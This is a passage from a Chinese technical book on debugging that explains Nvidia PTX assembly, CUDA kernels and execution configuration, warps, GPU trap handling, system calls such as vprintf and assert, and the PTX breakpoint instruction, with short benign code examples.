的。为了提高执行速度,GPU会提前读取当前指令后面的指令到缓存
中。为了防止预取指令时访问到无效内存,一种简单的解决方案就是在
有效代码的后面附加上一定长度的“无用”指令。
值得说明的是,手工写PTX汇编程序只是出于探索和教学目的。在
实际工程中,我们通常让编译器产生PTX指令,可以在NVCC的编译选
项中加上-ptx,让其输出PTX清单文件,比如以下指令。
nvcc -I=d:\apps\cuda91\common\inc -ptx c:\dbglabs\ptx\geptx.cu
如果希望看到同时包含源代码和PTX汇编的输出,那么可以加上--
source-in-ptx选项。不过,在写作本内容时,这个功能似乎还存在瑕
疵,必须同时增加调试(-G)选项它才可以正常工作。
nvcc -I=d:\apps\cuda91\common\inc -ptx --source-in-ptx -G c:\dbglabs\ptx\g
eptx.cu
加入-ptx选项后便不再生成EXE了。如果不希望影响正常编译,那
么可以增加-keep选项,让NVCC保留编译过程中产生的PTX文件。
9.4.2 状态空间
在PTX中,把用于存放数据的各种空间统称为状态空间,并根据其
特性不同细分为多个类别,见表9-6。
表9-6 状态空间
名称
描 述
访问速度
.reg
寄存器
0
.sreg
特殊寄存器,只读的,预定义的,且与平台相关
0
.const
常量,位于共享的只读内存中
0
.global 全局内存,所有线程共享
>100个时
钟周期
.local
局部内存,每个线程私有
>100个时
钟周期
.param 参数,分为两类。一类是算核(kernel)的参数,按线程网格
(grid)定义;另一类是函数参数,按线程定义
0
.shared 可寻址的共享内存,同一个CTA中的线程共享
0
.tex
全局纹理内存(不鼓励使用)
>100个时
钟周期
在PTX代码中,状态空间修饰常常出现在变量类型之前,代表这个
变量所处的状态空间,比如清单9-1中,故意定义了一个全局变量。
.global .u32 gOptions = 0;
在PTXAS的输出中,报告了这个变量使用了4字节的全局内存(4
bytes gmem)。
9.4.3 虚拟寄存器
在PTX中,使用.reg声明的寄存器变量就是所谓的虚拟寄存器。寄
存器变量可以自由取名字,名字前贯以“%”作为标志。比如在清单9-1
中,函数一开头便定义了很多个寄存器变量。
.reg .f32 %fA, %fB;
.reg .b64 %pA, %pB, %u64Offset;
.reg .pred %p<2>;
.reg .b32 %nTotal,%nIndex,%nBlockDim,%nBlockID,%nTid;
第1行和第2行分别定义了两个32位浮点数和3个64位寄存器变量。
第3行定义了两个谓词寄存器变量,p<2>这样的写法相当于p1和p2,这
是定义多个寄存器的快捷方法。
在生成硬件指令时,PTXAS会把虚拟寄存器与硬件寄存器绑定,也
就是从寄存器文件空间中分配物理寄存器。
如果定义的寄存器变量太多,那么寄存器空间可能不够用,这时会
自动使用内存来替补,称为溅出到内存(spilled to memory)。
寄存器可以是有类型的,也可以是无类型的。比如上面第1行定义
的是浮点类型的寄存器变量,第2行定义的便是无类型的寄存器变量,
长度为64位。
寄存器的大小(size)是有限制的。谓词寄存器(通过.reg .pred定
义)的大小是一位,标量寄存器的大小可以是8位、16位、32位或者64
位,向量寄存器的大小可以为16位、32位、64位或者128位。
9.4.4 数据类型
在PTX汇编代码中,可以经常见到数据类型修饰。除了定义变量
外,很多指令也带有数据类型后缀,比如mov.u32表示操作的是32位无
符号整数。表9-7列出了PTX汇编代码中所有的基本数据类型。
表9-7 基本类型
基 本 类 型
指 示 符
有符号整数
.s8, .s16, .s32, .s64
无符号整数
.u8, .u16, .u32, .u64
浮点数
.f16, .f16x2, .f32, .f64
二进制位(无类型)
.b8, .b16, .b32, .b64
谓词
.pred
除了基本类型之外,在PTX汇编代码中,还可以很方便地使用向量
和数组。
向量的长度是有限制的,支持的长度一般为两个或者4个元素,分
别用.v2和.v4来表示,例如以下代码。
.global .v4 .f32 V; // a length-4 vector of floats
.shared .v2 .u16 uv; // a length-2 vector of unsigned ints
.global .v4 .b8 v; // a length-4 vector of bytes
长度限制是所有元素加起来不能超过128位,因此.v4 .f64是不可以
的。
定义数组的方法和C语言很类似,比如以下代码。
.local .u16 kernel[19][19];
.shared .u8 mailbox[128];
.global .u32 index[] = { 0, 1, 2, 3, 4, 5, 6, 7 };
.global .s32 offset[][2] = { {-1, 0}, {0, -1}, {1, 0}, {0, 1} };
9.4.5 指令格式
PTX指令以可选的谓词开始,然后是操作码,后面跟随0个或者最
多3个操作数,其用法如下。
[@p] opcode [d, a, b, c];
比如清单9-1中的如下两条指令。
setp.ge.s32 %p1, %nIndex, %nTotal;
@%p1 bra TAG_EXIT;
上面一条指令不带谓词,无条件执行。下面一条指令是带谓词的
(总是以@符号开始),只有谓词变量%p1为1时才会执行后面的操
作。
另外,上面一条指令有三个操作数,第一个操作数是目标操作数,
后面两个操作数是源操作数。整条指令用于对两个源操作数做大于等于
(ge)比较。如果第1个源操作数大于等于第2个操作数,那么便将谓词
寄存器%p1置位;否则,清零。
一般情况下,目标操作数只有一个,但也可以多于1个,比如以下
代码。
setp.lt.s32 p|q, a, b; // p = (a < b); q = !(a < b);
这条指令中,p和q都是目标操作数,使用“|”分隔。
个别情况下,目标操作数是可选的。如果不提供目标操作数,那么
可以使用(_)来占位,写成以下形式。
opcode (_), a, b, c;
9.4.6 内嵌汇编
可以使用asm{}关键字在CUDA程序中嵌入PTX汇编。比如,可以
用下面的语句来插入一个全局的内存屏障(memory barrier)。
asm("membar.gl;");
如果汇编代码和CUDA代码之间有数据交互,那么可以使用Linux
下常用的AT&T汇编格式。
asm("template-string" : "constraint"(output) : "constraint"(input));
PTX指令可以写在模板字符串里,例如以下代码。
asm("add.s32 %0, %1, %2;" : "=r"(i) : "r"(j), "r"(k));
其中,%0、%1和%2按文本顺序引用右侧的操作数,因此,上面的
语句相当于。
add.s32 i, j, k;
操作数前的约束用来指定数据类型,常用的约束有以下几个。
"h" = .u16 reg
"r" = .u32 reg
"l" = .u64 reg
"f" = .f32 reg
"d" = .f64 reg
接下来再举几个例子,也可以重复引用某个操作数,比如,下面两
行代码是等价的。
asm("add.s32 %0, %1, %1;" : "=r"(i) : "r"(k));
add.s32 i, k, k;
如果没有输入操作数,那么可以省略最后一个冒号,比如以下代
码。
asm("mov.s32 %0, 2;" : "=r"(i));
如果没有输出操作数,就把两个冒号连起来,比如以下代码。
asm("mov.s32 r1, %0;" :: "r"(i));
9.5 CUDA
PTX指令集以汇编语言的形式定义了软硬件之间的指令接口,它的
主要用途是隔离硬件的差异性,把差异性化的硬件以统一的接口提供给
软件。然而,PTX汇编语言不适合普通软件开发者使用,主要是给编译
器使用的。
那么让开发者使用什么样的语言来编写GPU的代码呢?对于以通用
处理器形式设计的GPU来说,这是一个至关重要的问题,关系到是否能
吸引足够多的开发者,关系到上层软件是否能发挥底层硬件的能力,关
系到整个产品的成败。
不知道在Nvidia公司当初是否曾针对这个问题发生过激烈的争论,
但是可以确定地说,他们最终选择了在C语言的基础上做扩展,并给扩
展后的C语言取了一个新的名字——CUDA C,简称CUDA。CUDA是
Compute Unified Device Architecture的缩写,意思是计算统一化的设备
架构,这个名字体现了从G80开始的统一化设计思想。
9.5.1 源于Brook
第8章介绍过,CUDA源于斯坦福大学中一个名为Brook的研究性项
目。Brook项目开始于2003年,主要开发者名叫Ian Buck。
简单说,Brook是为了解决如何在GPU硬件上编写通用计算程序而
开发的一套编程语言,不过它不是全新的语言,而是在C语言的基础上
扩展而来的,称为支持流的C语言(C with streams)。
2004年11月,Ian Buck加入Nvidia公司,遇见了G80之父约翰·尼可
尔斯,让Brook技术有缘与G80融合。2007年2月15日,CUDA 0.8版本首
次公开发布,6月23日1.0版本正式发布[12],开始了光辉的旅程。
9.5.2 算核
在并行计算领域,常常把需要大量重复的操作提炼出来,编写成一
个短小精悍的函数,然后把这个函数放到GPU或者其他并行处理器上去
运行,重复执行很多次。为了便于与CPU上的普通代码区分开,人们给
这种要在并行处理器上运行的特别程序取了个新的名字,称为算核
(kernel)。
众所周知,kernel这个词是计算机领域的常用词汇,代表操作系统
的高特权部分,是软件世界的统治者。显然,这两个名字撞车了。
追溯历史,在贝叶斯概率理论中,很早就用kernel方法来做概率密
度估计。在机器学习中,也很早就有所谓的kernel方法。在分析高维空
间时,为了降低计算量,不真的对空间中的数据坐标做计算,而是计算
特征空间中所有数据对的内积(inner product),这种方法也称为kernel
trick。后来这种方法也用于处理序列数据、图像、文本和各种向量数
据。在图像处理领域中,衍生出了很多著名的应用,比如模糊化、锐
化、边缘检测等,也用于提取图像的复杂特征,比如检查人脸和人的五
官。这些应用的基本思想都是用一个小的矩阵“扫描”目标图像,把矩阵
的每个元素按照定义的规则与目标图像的像素做运算。因为算法不同,
所以这个矩阵有不同的名字,比如,“卷积矩阵”“屏蔽矩阵”“卷积
核”等。与传统神经网络相比,目前深度学习领域流行的卷积网络技术
的一个最大变化就是引入了卷积核来提取特征。GPU领域的kernel术语
与上述方法中的kernel一词一脉相承,历史也很长。
如此看来,操作系统领域的kernel和计算领域的kernel源自不同的背
景,难以区分先后。可以说是各自独立发展,自成体系,本来是互不干
涉的。
随着深度学习和AI技术的流行,并行计算技术的应用日益广泛,才
使得这两个术语经常碰面。怎么办呢?在英文中,因为两个单词一模一
样,所以只能增加compute或者OS等修饰语来加以区分,但在实际的文
章中,很多时候都没有修饰,只能靠上下文来区分。在中文中,把代表
操作系统核心的kernel翻译为内核已经非常流行,对于代表计算的
kernel,一般都选择不翻译,直接使用英文,简单明了。但这样也不是
很好,至少那些反对中英文混杂的人会觉得不舒服。
为了避免混淆,作者建议把代表计算的kernel翻译为不同的中文。
到底翻译成什么呢?经过一番讨论,较好的方案是翻译为算核,当与函
数连用时,翻译为算核函数,简称核函数。
两个术语撞车的深层次原因是kernel这个词的内涵让人喜欢,它所
代表的两个基本特征“短小”“精悍”具有永恒的魅力。
从代码的角度来看,算核函数用于把普通代码里的循环部分提取出
来。举例来说,如果要把两个大数组A和B相加,并把结果放入数组C
中,那么普通的C程序通常如下。
for(int i = 0; i < N ; i++)
C [i] = A[i] + B[i]
如果用算核表达,那么算核函数中就只有C [i] = A[i] + B[i]。对应
的CUDA程序如清单9-3所示。
清单9-3 做向量加法的CUDA程序片段
// Kernel definition
__global__ void VecAdd(float* A, float* B, float* C)
{
int i = threadIdx.x;
C[i] = A[i] + B[i];
}
int main()
{
...
// Kernel invocation with N threads
VecAdd<<<1, N>>>(A, B, C);
...
}
与普通的C语言程序相比,上面代码有三处不同。第一处是函数前
的__global__修饰。它是CUDA新引入的函数执行空间指示符(Function
Execution Space Specifier),一共有以下5个函数执行空间指示符。
__global__:一般用于定义GPU端代码的起始函数,表示该函数是
算核函数,将在GPU上执行,不能有返回值,在调用时总是异步调
用。另外,只有在计算能力不低于3.2的硬件上,才能从GPU端发
起调用(这一功能称为动态并行),否则,只能从CPU端发起调
用。
__device__:用来定义GPU上的普通函数,表示该函数将在GPU上
执行,可以有返回值,不能从CPU端调用。
__host__:用来定义CPU上的普通函数,可以省略。
__noinline__:指示编译器不要对该函数做内嵌(inline)处理。默
认情况下,编译器倾向于对所有标有__device__指示符的函数做内
嵌处理。
__forceinline__:指示编译器对该函数做内嵌处理。
简单来说,前两种指示符都代表该函数在GPU上执行,第三种指示
符代表该函数在CPU上执行。
9.5.3 执行配置
与普通C程序相比,上述CUDA程序的第二个明显不同是调用算核
函数的地方,即main中的如下语句。
VecAdd<<<1, N>>>(A, B, C);
函数名之后,圆括号之前的部分是CUDA的扩展,用了三对“<>”。
这三对尖括号真是新颖,不知道是哪位同行的奇思妙想。(简单搜索了
一下Brook 0.4版本,没有搜索到,作者认为这应该是CUDA的发明。)
简单来说,尖括号中指定的是循环方式和循环次数。1代表只要一个线
程块(block),这个线程块里包含N个线程。
不要小看上面这一行代码,它非常优雅地解决了一个大问题。这个
大问题就是到底该如何在CPU的代码里调用GPU的算核函数。根据前面
的介绍,在调用算核函数时,不仅要像调用普通函数那样传递参数,还
需要传递一个信息,那就是如何做循环,简单说就是循环方式和循环次
数。
没有比较,难见差异。不妨看看如何使用OpenCL做同样的事情。
先要调用clCreateKernel创建kernel对象。
ocl.kernel = clCreateKernel(ocl.program, "VecAdd", &err);
再一次次地调用clSetKernelArg()设置参数。
err = clSetKernelArg(ocl->kernel, 1, sizeof(cl_mem), (void *)&ocl->srcB);
然后再把算核对象放入队列中。
err = clEnqueueNDRangeKernel(
oclobjects.queue, ocl.kernel,
1, 0, global_size, local_size, 0, 0, 0 );
可以看到,OpenCL的做法非常麻烦,反复地调用几个API,传递几
十个参数。而在CUDA中,只有那么优雅的一行。
作者无数次端详这一行代码时,都感慨颇多。并行计算发展很多年
了,一个个并行模型不断出现,一种种语言不断扩展,唯有CUDA把串
行代码(CPU)和并行代码(GPU)之间的过渡表达得如此简洁自然。
如果追溯一下CUDA和OpenCL的出现时间,其实CUDA在前,
OpenCL在后。OpenCL升级几次,至今依然是那么冗长的调用方式。翻
看OpenCL规约,篇首一个个长长的致谢列表,用于记录那些为设计
OpenCL标准做出贡献的人。端详这个列表,不禁感慨:这么多人里面
难道没有一个深谙代码之道的程序员吗?
老雷评点
此一问让几多人羞愧难当。
在CUDA手册中,这三对括号有个通俗的名字,叫执行配置
(Execution Configuration),其完整形式如下。
<<< Dg, Db, Ns, S >>>
其中,Dg用来指定线程网格的维度信息,是Dimension of grid的缩
写;Db用来指定线程块(block)的维度,是Dimension of block的缩
写;线程网格和线程块都是用来方便组织线程的。其设计思想是可以按
照数据的形状来组织线程,让每个线程处理一个数据元素。Dg和Db的
类型都是dim3,是一个整型向量,有x、y、z三个分量。每个分量的默
认值为1。所以,本节开头的简单写法等价于以下代码。
dim3 blocksPerGrid(1, 1, 1);
dim3 threadsPerBlock(1, 1, N);
VecAdd<<< blocksPerGrid, threadsPerBlock>>>(A, B, C);
第三部分叫Ns,用来指定为每个线程块分配的共享内存大小(以字
节为单位),其类型为sizet。这个参数是可选的,默认值为0。在Nvidia
GPU内部,配备了有限数量的高速存储器,供算核代码中由\_shared__
指示符描述的变量使用,其作用域是当前的线程块,所以当前线程块中
的各个线程可以使用这样的变量来共享信息。其效果有点像全局变量,
但是访问速度要比全局变量快。
最后一部分S用来指定与这个算核关联的CUDA流,它是可选的。
每个CUDA流代表一组可以并发执行的操作,用于提高计算的并发度和
GPU的利用率。
作者心语:上面几段文字甚花工夫,在去往杭州的高铁上写了一
半,后一半在杭州北高峰下的云松书舍完成。西湖三月,人流如织,但
书院里格外宁静。独坐听松亭,以膝为案,啾啾鸟语声与嗒嗒键盘声共
鸣。感谢金庸大侠修建了这个园林并开放给公众。
老雷评点
难怪字里行间有剑气。
9.5.4 内置变量
上述代码与普通C程序的第三处不同是算核函数中直接使用了一个
threadIdx变量。它是CUDA定义的内置变量(built-in variable),在写
CUDA程序时,不需要声明,可以直接使用。
截至CUDA 9.1版本,CUDA一共定义了5个内置变量,简述如下。
变量gridDim和blockDim分别代表线程网格和线程块的维度信息,
也就是启动核函数时通过三对尖括号指定的执行配置情况。
变量blockIdx和threadIdx分别表示当前线程块在线程网格里的坐标
位置和当前线程在线程块里的位置。
上面4个变量都是dim3类型,x、y、z三个分量分别对应三个维度。
变量warpSize是整型的,代表一个Warp的线程数。稍后会详细介绍
Warp。
在使用Nsight调试CUDA程序时,可以通过“局部变量”窗口来查看
内置变量的值。例如,图9-12就是调试CUDA工具集中的vecAdd示例程
序时,中断在vecAdd算核函数时的场景。
图9-12 通过“局部变量”窗口查看内置变量
在这个向量加法示例中,要把向量A和B相加赋值给向量C,三个向
量的长度都是50 000。启动算核的代码如下。
// Launch the Vector Add CUDA Kernel
int threadsPerBlock = 256;
int blocksPerGrid =(numElements + threadsPerBlock - 1) / threadsPerBlock;
printf("CUDA kernel launch with %d blocks of %d threads\n",
blocksPerGrid, threadsPerBlock);
vectorAdd<<<blocksPerGrid, threadsPerBlock>>>(d_A, d_B, d_C, numElements);
1行代码是把每个线程块的大小定义为256,因此需要的线程块个数
为:50000/256 =195.3125,再向上取整即196个。
可以看到在图9-12中,blockDim= {x = 256, y = 1, z =
1},gridDim = {x = 196, y = 1, z = 1}。通过blockIdx和
threadIdx可以知道当前线程是块{x = 28, y = 0, z = 0}里的{x =
0, y = 0, z = 0}号线程。考虑到读者可能经常需要把三维形式的坐
标值换算到一维形式,CUDA还可定义了两个伪变量@flatBlockIdx和
@flatThreadIdx。二者都是长整型,分别代表平坦化的线程组编号和线
程编号。
9.5.5 Warp
GPU编程的一个基本特点是大规模并行,让GPU内数以千计的微处
理器同时转向要处理的数据,每个线程处理一个数据元素。
一方面是大量需要执行的任务,另一方面是很多等待任务的微处理
器。如何让这么多微处理器有条不紊地把所有任务都执行完毕呢?这是
个复杂的话题,详细讨论它超出了本书的范围。这里只能介绍其中的一
方面:调度粒度。
与军队里把士兵分成一个个小的战斗单位类似,在CUDA中,也把
微处理器分成一个个小组。每个组的大小是一样的。迄今为止,组的规
模总是32个。CUDA给这个组取了个特别的名字:Warp。
Warp是GPU调度的基本单位。这意味着,当GPU调度硬件资源
时,一次分派的执行单元至少是32个。如果每个线程块的大小不足32
个,那么也会分配32个,多余的硬件单元处于闲置状态。
Warp一词来源于历史悠久的纺织技术。纺织技术的核心是织机
(Loom)。经历数千年的发展,世界各地的人们发明了很多种织机。
虽然种类很多,但是大多数织机的一个基本原理都是让经线和纬线交织
在一起。通常的做法是首先部署好一组经线,然后使用某种装置把经线
分开,形成一个V形的开口,再把系着纬线的梭子投过经线的开口,而
后调整经线的上下布局,再投梭子穿纬线,如此往复。
图 9-13是作者在成都蜀锦博物馆拍摄的一张织机照片(局部)。这
个织机需要两人配合操作,一人坐在高处,负责根据要编织的花样操作
综框(图中左侧矩形装置),使经线开口。另一人坐在图中右侧,负责
穿梭子。地下放了一面镜子,便于观察另一面的情况。在纺织领域,
Warp就是指经线,也就是图9-13中从左到右平行分布的那一组丝线。
在纺织中,经线的数量决定了织物的幅度,也可以认为经线的数量
决定了并行操作的并行度。在CUDA中,使用Warp来代表同时操作的一
批线程,也代表并行度。
图9-13 历史悠久的并行技术
9.5.6 显式并行
这里把CUDA这样明确指定并行方式的做法称为显式并行(explicit
parallel)。这是与隐式并行(implicit parallel)相对而言的。
隐式并行的例子有很多,最著名的莫过于CPU中流行的乱序执行技
术。乱序执行的基本特点是在CPU内部把本来串行的指令流同时发射到
多个硬件流水线来并行执行。为什么叫隐式并行呢?因为对程序员来
说,根本不知道自己的代码是如何并行的。并行的方式是隐藏在CPU内
部的。
简单来说,显式并行是在编程接口中就明确并行的方式。而隐式并
行是在没有明确并行接口的前提下,暗中做并行。
2018年爆出的幽灵(Spectre)和熔断(Meltdown)两大安全漏洞都
与隐式并行密切相关,这给多年来以乱序执行技术为荣耀的英特尔公司
当头两棒。希望这个公司能够提高警惕。
老雷评点
乱序执行有很多个名字,早期的手册中常用的是投机执行,
安全漏洞爆出后,用得更多的是预测执行,或许担心“投机”之名
引发更多普通用户的不满。回望历史,如果在当年花大量精力做
投机执行时就大张旗鼓地做显式并行,那么何至于今日之被动局
面。如此说来,投机之名,何其精恰也。
9.6 异常和陷阱
与CPU的异常机制类似,Nvidia GPU也有异常机制,在官方文档中
大多称为陷阱(trap)。因为它与调试关系密切,所以本节专门介绍
Nvidia GPU中与陷阱机制密切相关的内容。
9.6.1 陷阱指令
从PTX指令集的1.0版本开始,就有一条专门用于执行陷阱操作的指
令,名字就叫trap。
PTX文档对这条指令的描述非常简略,惜字如金。只有简洁的一句
话:Abort execution and generate an interrupt to the host CPU(中止执
行,并向主CPU产生一个中断)。
如果在CUDA程序中通过嵌入式汇编代码插入一条trap指令,那么
会发现它的效果居然与断点指令完全相同,查看反汇编代码,对应的硬
件指令竟然也完全一样。
asm("trap;");
0x000cf950 [0304] tmp15:
0x000cf950 [0307] trap;
0x000cf950 BPT.TRAP 0x1;
如此看来,至少对于作者试验的软硬件版本,陷阱指令与断点指令
可以实现等价的效果。陷阱指令的默认功能就是触发断点。不过,这只
是陷阱指令的一种用法,它应该可以产生不同类型的陷阱。或许现在就
是这样的用法,即使不这样使用,将来应该也会这样使用。
9.6.2 陷阱后缀
某些PTX指令支持.trap后缀,意思是遇到意外情况时执行陷阱操
作,其作用与C++中的throw指示符很类似。
例如,在下面的写平面(surface store)指令中,.trap后缀就告诉
GPU,如果遇到越界情况,就执行陷阱操作。
sust.b.3d.v2.b64.trap [surf_A, {x,y,z,w}], {r1,r2};
所谓执行陷阱操作,其实就是GPU停止执行目前的指令流,跳转到
专门的陷阱处理程序。
9.6.3 陷阱处理
本书第二篇比较详细地介绍过CPU执行陷阱操作的过程。那么GPU
是如何做的呢?
在Nvidia的官方文档中,很难找到关于这个问题的深入介绍,即使
有,也只是只言片语。
不过,当作者在茫无际涯的互联网世界中搜索时,却有意外惊喜,
找到了Nvidia公司多名员工关于陷阱处理的一篇专利文献,标题为“用于
并行处理单元的陷阱处理程序架构”(Trap Handler Architecture for a
Parallel Processing Unit)[13]。这篇长达20页的专利文献,不仅内容详
细、语言精准恰当,还有多达9幅的插图,可谓细致入微。看到这篇专
利文献,真是踏破铁鞋无觅处,得来全不费工夫。
老雷评点
高!
在这篇编号为US8522000的专利文献中,发明者详细描述了
GPU(专利中称为PPU)执行陷阱操作的过程,既包括总的架构和设计
思想,又有详细的流程。图9-14便是来自该专利文献的陷阱处理程序总
体架构图。
图9-14 陷阱处理程序总体架构图
某种程度上来讲,图9-14包括了一个GPGPU的大部分关键逻辑,这
从侧面反映了陷阱机制的重要性和牵涉面之广。图中的SPM是Streaming
Multiprocessor的缩写,也就是前面介绍过的流式多处理器(SM)。与
每个CPU都可以有自己的陷阱处理程序不同,在GPU中,属于一个SM
的所有处理器共享一个陷阱处理程序。
图9-14右侧是内存布局图,非常值得品味,分别简单介绍如下。
线程组程序栈,用于存放线程组的状态信息,包括稍后介绍的异常
位置信息。
线程组代码段,存放线程组的代码,即GPU的指令。
陷阱处理程序代码段,存放陷阱处理程序。内部又分为几个部分,
前两个部分分别用于支持系统调用和主CPU中断,后面是一个个的
陷阱处理函数。
这个专利的提交时间是2009年9月29日,结合其他资料,作者推测
这个专利所描述的设计最早用在费米微架构中。在David Patterson撰写
的费米架构十大创新[14]的第7条(名为调试支持)中,特别介绍了费米
架构中引入的陷阱处理机制。在此前的GPU中,如果GPU遇到异常(断
点单步等),就冻结这个GPU的状态,然后发中断给CPU,让CPU上的
程序来读取GPU的状态,接着根据读到的状态进行处理。异常处理完之
后,再恢复GPU执行。而在新的设计中,GPU自己可以执行位于显存中
的陷阱处理程序,也就是刚刚介绍的陷阱处理程序代码。这意味着GPU
可以自己处理异常情况。这个变化的意义不仅仅在于异常处理本身。陷
阱处理程序代码的地位非同寻常,它掌控着系统的命脉和生杀大权。在
CPU端,异常处理是内核中的关键部分,是内核管理层的“要塞”。GPU
有了自己的陷阱处理器,就有了自己的管理层。其意义何其大也。历史
上,操作系统就是由中断处理程序演变而来的。从这个意义上看,这个
变化真可以用翻天覆地来形容。
图9-15也是来自上述专利文献的插图,它描述了GPU执行陷阱处理
程序的具体过程。
图9-15 执行陷阱处理程序的过程
品味图9-15,会发现里面的有些操作与CPU的做法很类似,比如在
转移执行前先把执行状态信息(程序计数器、代码段地址、程序状态字
等)压到栈上并保存。根据专利中的描述,使用的栈就是图9-14中的线
程组程序栈(编号545)。不过,也有些步骤不同,比如以下步骤。
把错误信息保存到ESR(Error Status Register)寄存器中。x86 CPU
是把错误码压到栈上。
要把触发异常的线程组ID保存到线程组ID寄存器中,因为如前所
述,每个SM共享一个异常处理程序,所以要通过这个ID信息知道
是哪个线程组出了异常。对于CPU,因为每个CPU处理自己的异
常,所以是不需要这一步的。
所有线程组都会执行陷阱处理程序,不仅仅是发生异常的线程组,
这与CPU的做法也是不同的。
如果需要把异常报告给CPU,那么会发中断给CPU,并且让当前线
程组进入暂停(halt)状态。
陷阱机制赋予处理器“飞跃”的能力。可以从常规的程序代码飞跃到
陷阱处理程序代码,处理完之后,再继续回到本来执行的程序。操作系
统专家Dave Probert前辈曾说过,中断和陷阱机制让CPU变得有趣。对
于GPU,也是如此。
9.7 系统调用
在CPU和传统的操作系统领域,系统调用一般是指运行在低特权的
用户态程序调用高特权的系统服务,比如应用程序在调用fread这样的函
数读文件时,CPU会执行特殊的指令(syscall、sysenter或者int 2e等)进
入内核空间,执行内核空间的文件系统函数,执行完成后,再返回用户
空间。
在Nvidia的GPU程序中,也有系统调用机制。PTX的手册里把系统
调用解释为对驱动程序操作系统代码的调用(System calls are calls into
the driver operating system code)。这里的驱动程序操作系统可以有两种
理解。一种理解是驱动程序所在的操作系统,比如Windows或者
Linux。另一种理解是指驱动程序实现的为GPU程序服务的操作系统,
这是个新事物,不是传统的Windows和Linux。那么到底是哪一种呢?
作者认为与软硬件的版本有关,早期是前一种情况,后期逐步向后一种
情况过渡。
9.7.1 vprintf
在PTX手册中,列举了很多个系统调用。其中有一个名叫vprintf,
用于从GPU代码中输出信息,与CPU上的printf很类似,因为它恰好与调
试的关系比较密切,所以就先以它为例来理解GPU的系统调用。
在使用系统调用时,必须有它的函数原型,vprintf的函数原型如
下。
.extern .func (.param .s32 status) vprintf (.param t1 format, .param t2 va
list)
其中,status是返回值,format和valist分别是格式化模板和可变数量
的参数列表。对于32位地址,t1和t2都是.b32类型;对于64位地址,它
们都是.b64类型。
调用系统调用的方法和调用常规函数很类似,比如下面是使用32位
地址时的调用方法。
cvta.global.b32 %r2, _fmt;
st.param.b32 [param0], %r2;
cvta.local.b32 %r3, _valist_array;
st.param.b32 [param1], %r3;
call.uni (_), vprintf, (param0, param1);
第一条指令把当前地址空间中的指针转换到全局空间(也叫通用空
间(generic space)),然后再存储到参数区中。
如果在CUDA程序中调用printf来输出信息,其内部就会调用
vprintf。打开一个CUDA程序,加入一行printf(或者打开CUDA开发包
中的simplePrintf示例),然后查看反汇编窗口,可以看到发起系统调用
的PTX指令和硬件指令。
0x000d1218 [0287] st.param.b64 [param1+0], %rd3;
0x000d1218 MOV R6, R0;
0x000d1220 NOP;
0x000d1228 MOV R7, R2;
0x000d1230 [0289] call.uni (retval0),
0x000d1230 JCAL 0x85ac0;
上面的call.uni是PTX指令,JCAL是硬件指令。在单步跟踪上面的
指令时,如果试图跟踪进入JCAL指令的目标函数,那么并不能跟踪进
去,无论是按F11键还是按F10键,都会单步跟踪到JCAL的下一条指
令,这与跟踪CPU的syscall指令的情况一样。
那么GPU是如何执行vprintf函数的呢?简单说,GPU会把中间结果
写到一个以FIFO(先进先出)形式组织的内存区中,然后CPU端再把中
间结果合成和输出到CUDA程序的控制台窗口。图9-16是在Visual Studio
中观察这个FIFO内存区的情景。
图9-16 在GPU代码中显示信息
在图9-16中,下方的“反汇编”窗口显示的是PTX指令,当前执行点
刚好是call.uni的下一条指令,也就是刚刚执行过vprintf。左上角是FIFO
内存区,灰色部分是刚刚执行vprintf后变化的内容。仔细观察,可以看
到printf的格式化模板内容("[%d, %d]:\t\tValue is:%d\n",\)。右侧是内
存分配列表,可以找到FIFO内存区是列表中的第二个,其大小为1 048
832字节(可以通过cudaDeviceSetLimit调整)。
9.7.2 malloc和free
与普通C中的malloc和free类似,CUDA中提供两个类似的函数
malloc和free,供GPU上的程序动态分配和释放GPU上的内存。这两个
函数都是以系统调用的方式实现的。
它们的原型分别如下。
.extern .func (.param t1 ptr) malloc (.param t2 size)
.extern .func free (.param t1 ptr)
它们的参数和与普通C中的完全相同。
9.7.3 __assertfail
断言是常用的调试机制。在CUDA中,可以像普通C程序那样使用
assert(包含assert.h),其内部基于以下名为__assertfail的系统调用。
.extern .func __assertfail (.param t1 message, .param t1 file, .param .b32
line, .param t1 function, .param t2 charSize)
假设在一个算核函数中增加下面这样一条assert语句。
__global__ void testKernel(int val)
{
assert(val==0);
}
然后以如下代码启动这个算核函数。
dim3 dimGrid(2, 2000);
dim3 dimBlock(2, 3, 4);
testKernel<<<dimGrid, dimBlock>>>(10);
因为传递的参数val为10,所以断言总是失败的。不过,当在Visual
Studio中直接执行或者以普通的调试方式(调试CPU代码)运行时,程
序可以畅通无阻地执行完毕,断言语句仿佛被忽略了。当在Nsight下调
试时,断言会失败。当执行到断言语句时,不但Nsight监视程序
(Nsight monitor)会在托盘区域弹出图9-17(a)所示的提示信息,而
且程序会自动中断。
(a)提示信息 (b)硬件管线状态
图9-17 断言失败的提示信息和硬件管线状态
中断到调试器后,在CUDA Info窗口中从顶部的下拉列表中选择
Lanes(管线)(见图9-17(b)),在Status一列中,显示Assert的行代
表该CUDA核因为断言失败而暂停执行。
值得说明的是,在启动算核的代码中,定义每个线程块(block)
有24个线程(2×3×4),还不满一个Warp,但是GPU还会分配一个Warp
来执行,不过只使用其中的24个,余下8个处于禁止状态。因此,图9-
17(b)中从24号开始的管线显示为没有启动(Not Launched)。
因为传递的参数是10,所有线程都会遇到断言失败,所以图9-
17(a)的提示信息中表明“CUDA调试器检测到断言失败发生在24个线
程上”。
9.8 断点指令
虽然算核函数的名字中蕴含着短小精悍之意,但是在实际项目中,
其代码可能也因为各种因素会不断膨胀,变得不再简单明了。那么如何
调试算核函数呢?他山之石,可以攻玉。首先,借鉴CPU上的成熟方
法,把CPU多年积累下来的宝贵经验和成熟套路继承过来。然后,想办
法改进,在新的环境中,改正以前的局限,增加新的功能,争取青出于
蓝而胜于蓝。
断点是软件调试的一种基本手段,也是软件工程师们最熟悉、使用
最多的调试功能之一,本节便介绍Nvidia GPU的断点支持。
9.8.1 PTX的断点指令
在PTX 1.0版本中就包含了一条专门用于调试的断点指令,名叫
brkpt。
在CUDA程序中,可以非常方便地插入断点指令,只要使用前面介
绍过的嵌入式汇编语法就可以了,例如以下代码。
__global__ void
vectorAdd(const float *A, const float *B, float *C, int numElements)
{
int i = blockDim.x * blockIdx.x + threadIdx.x;
asm("brkpt;");
if (i < numElements)
{
C[i] = A[i] + B[i];
}
}
这样嵌入的断点指令的效果与在普通C程序中嵌入CPU的断点指令
(x86下的INT 3或者调用DebugBreak)非常类似。
如果在Nsight调试器下启动上面的算核函数,当GPU执行到断点指
